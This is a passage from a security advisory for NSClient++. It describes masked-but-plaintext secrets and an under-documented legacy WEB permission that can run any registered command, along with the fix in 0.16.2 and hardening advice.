authorization boundary: the values remain stored in plaintext in
nsclient.ini (shared with the legacy NRPE/NSCA/NSClient protocols) and are
readable by any principal with write or execute privilege regardless.
What to do: nothing required. Tooling that read a secret back out of
GET /api/v2/settings/... now receives *** for keys registered sensitive.
The legacy WEB permission is flagged and no longer seeded by default¶
Fixed in: 0.16.2 · Severity: Medium · Reported by: yagust
The legacy WEB grant unlocks the deprecated POST /query.pb and
GET /query/{name} endpoints, which dispatch through the same command registry
as the versioned /api/v2/queries API — so a token holding the legacy
permission can run any registered check or command (including any configured
CheckExternalScripts command) even without queries.execute. This is
intended compatibility behaviour for clients that predate the versioned API,
but it was under-documented and more powerful than the role name suggests.
The built-in legacy role is no longer seeded on fresh installs; NSClient++
now logs a SECURITY warning at startup — and from nscp web add-role /
add-user — for any role whose grant includes the legacy token (so a custom
role such as reporting = legacy,login.get is flagged too); and the capability
is documented in the securing guide.
What to do: existing installs are unaffected (the role stays in their
config and keeps working). Only grant legacy to trusted legacy systems that
cannot use the versioned /api/v2/queries endpoints; see
Securing NSClient++.